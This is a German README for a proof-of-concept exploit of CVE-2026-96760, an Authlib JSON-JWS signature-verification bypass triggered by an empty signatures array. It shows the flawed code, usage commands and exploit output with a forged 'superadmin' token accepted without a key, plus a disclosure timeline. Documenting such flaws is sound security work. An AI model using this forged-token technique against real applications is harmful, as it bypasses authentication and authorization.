CVE-2026-96760 - Authlib JWS-Signaturprüfungs-Bypass PoC

Proof-of-Concept für einen Bypass der Signaturprüfung im Modul authlib.jose von Authlib. JsonWebSignature.deserialize_json() akzeptiert ein General-JSON-JWS-Objekt mit einem leeren signatures-Array und gibt die vom Angreifer kontrollierte Payload als erfolgreich verifiziert zurück – kein Schlüssel erforderlich, keine Signatur geprüft.

Schwachstelle

Betroffen: Authlib ≤ 1.7.2, Modul authlib.jose Nicht betroffen: der Compact-JWT-Pfad (jwt.decode()). Dieser Fehler betrifft speziell die JSON-Serialisierungs-JWS-API. CWE: CWE-347 (Improper Verification of Cryptographic Signature), CWE-670, CWE-358 Status: ungepatcht in 1.7.x – das Modul authlib.jose wurde in Authlib 1.8 vollständig entfernt, nicht behoben. Jede Bereitstellung, die auf eine Version unter 1.8 festgelegt ist, bleibt exponiert.

Ursache

# authlib/jose/rfc7515/jws.py
headers = []
is_valid = True                                  # starts True
for header_obj in obj["signatures"]:             # zero iterations when signatures = []
    jws_header, valid = self._validate_json_jws(
        payload_segment, payload, header_obj, key
    )
    headers.append(jws_header)
    if not valid:
        is_valid = False

rv = JWSObject(headers, payload, "json")
if is_valid:
    return rv                                    # attacker payload returned as verified
raise BadSignatureError(rv)

is_valid wird mit True initialisiert und nur innerhalb des Schleifenkörpers umgeschaltet. Wenn signatures gleich [] ist, läuft die Schleife null Mal, es wird keine Verifikationslogik ausgeführt, und die Funktion gibt Erfolg zurück – ein klassischer Fehler der leeren Wahrheit (vacuous truth). Beide öffentlichen Einstiegspunkte sind betroffen:

jws.deserialize_json({"payload": "...", "signatures": []}, key)  # direct
jws.deserialize('{"payload": "...", "signatures": []}', key)     # generic dispatcher

Auswirkung

Jede Anwendung, die angreiferkontrollierte JSON-JWS-Eingaben über deserialize_json() oder deserialize() verifiziert, verliert ihre Authentizitäts-/Integritätsgarantien für diese Eingabe:

• Umgehung der Authentifizierung – Fälschung von sub-, role- und Session-Claims
• Umgehung des Vertrauens zwischen Diensten – Einschleusen beliebiger Nachrichten zwischen Diensten, die JSON JWS austauschen
• Fälschung der Autorisierung – Erfinden von scope-, tenant- und permissions-Claims

Verwendung

git clone https://github.com/uziii2208/CVE-2026-96760.git
cd CVE-2026-96760
python3 exploit.py

Erwartete Ausgabe

=================================================================
[BASELINE] Creating legitimate JWS with real signature
=================================================================
Valid token:
{
  "payload": "eyJzdWIiOiJsZWdpdC11c2VyIiwiYWRtaW4iOmZhbHNlfQ",
  "signatures": [
    {
      "protected": "eyJhbGciOiJIUzI1NiJ9",
      "signature": "_IhsSGd6d2jAISIu0BkmCrWGCRU5ZsAJnF7aymDNJ-g"
    }
  ]
}
[+] Verification succeeded: payload = b'{"sub":"legit-user","admin":false}'

=================================================================
[BASELINE] Verification with wrong key - must be rejected
=================================================================
[+] Correctly rejected - BadSignatureError: bad_signature:

=================================================================
[EXPLOIT] Forged payload WITHOUT any signing key
=================================================================
Malicious JWS:
{
  "payload": "eyJzdWIiOiJhdHRhY2tlciIsImFkbWluIjp0cnVlLCJyb2xlIjoic3VwZXJhZG1pbiJ9",
  "signatures": []
}

[X VULNERABLE] Verification succeeded WITHOUT any signature!
    Payload  : b'{"sub":"attacker","admin":true,"role":"superadmin"}'
    Headers  : []
    Type     : json

    → Attacker fully controls payload content
    → Application trusts payload as signed by trusted party

Die drei Fälle grenzen die Schwachstelle präzise ab: eine echte Signatur mit dem falschen Schlüssel wird korrekt abgelehnt, eine echte Signatur mit dem richtigen Schlüssel wird korrekt akzeptiert, und eine leere Signaturliste – die eigentlich der am stärksten abzulehnende Fall sein sollte – wird stillschweigend akzeptiert.

Offenlegungs-Zeitplan

• An die Authlib-Maintainer gemeldet: 28. Juli
• Vom Maintainer geschlossen, unter Verweis auf die Deprecation von authlib.jose (keine Korrektur veröffentlicht): 30. Juli
• CVE-2026-96760 zugewiesen: CERT/CC, reserviert am 2026-09-23, veröffentlicht am 2026-09-28
• authlib.jose in Authlib 1.8 entfernt (nicht als Fix zurückportiert)

Danksagungen

Entdeckt und gemeldet von uziii2208 und nguyenminhtuan28.

Haftungsausschluss

Dieses PoC wird zu Bildungs- und Verteidigungszwecken veröffentlicht – um Maintainern, Sicherheitsteams und nachgelagerten Nutzern zu helfen, das Problem zu verstehen und zu beheben. Verwenden Sie es nicht gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Testgenehmigung haben.